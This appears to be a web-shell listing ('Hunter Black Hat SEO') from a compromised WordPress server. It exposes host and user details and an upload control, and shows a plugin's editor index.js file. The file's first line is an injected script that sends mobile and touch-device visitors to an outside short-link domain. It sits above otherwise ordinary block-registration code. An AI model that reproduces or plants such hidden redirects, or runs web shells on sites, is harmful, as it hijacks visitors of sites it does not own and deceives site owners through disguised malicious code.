Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/yac.al/alb/wp-content/plugins/templates-patterns-collection/editor/src/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
/* global tiTpc */
import { __ } from '@wordpress/i18n';
import { registerPlugin } from '@wordpress/plugins';
import { registerBlockType } from '@wordpress/blocks';

import './editor.scss';
import './data/index.js';
import { iconBlack as icon } from './icon';
import Exporter from './plugins/extension';
import SiteEditorExporter from './plugins/site-editor-extension';
import WrappedTpcTemplatesButton from './plugins/wrapped-tpc-templates-button'; // Adjust the import path based on your file structure

import edit from './edit';

if ( ! tiTpc.isSiteEditor ) {
	registerBlockType( 'ti-tpc/templates-cloud', {
		title: __( 'Templates Cloud', 'templates-patterns-collection' ),
		description: __(
			'A cloud based templates library which enables you to create ready-made website in no time.',
			'templates-patterns-collection'
		),
		icon,
		category: 'design',
		keywords: [ 'templates cloud', 'patterns', 'template library' ],
		supports: {
			html: false,
		},
		edit,
		save: () => null,
	} );

	registerPlugin( 'ti-tpc-templates-button', {
		render: WrappedTpcTemplatesButton,
	} );
}

registerPlugin( 'ti-tpc', {
	render: tiTpc.isSiteEditor ? SiteEditorExporter : Exporter,
	icon,
} );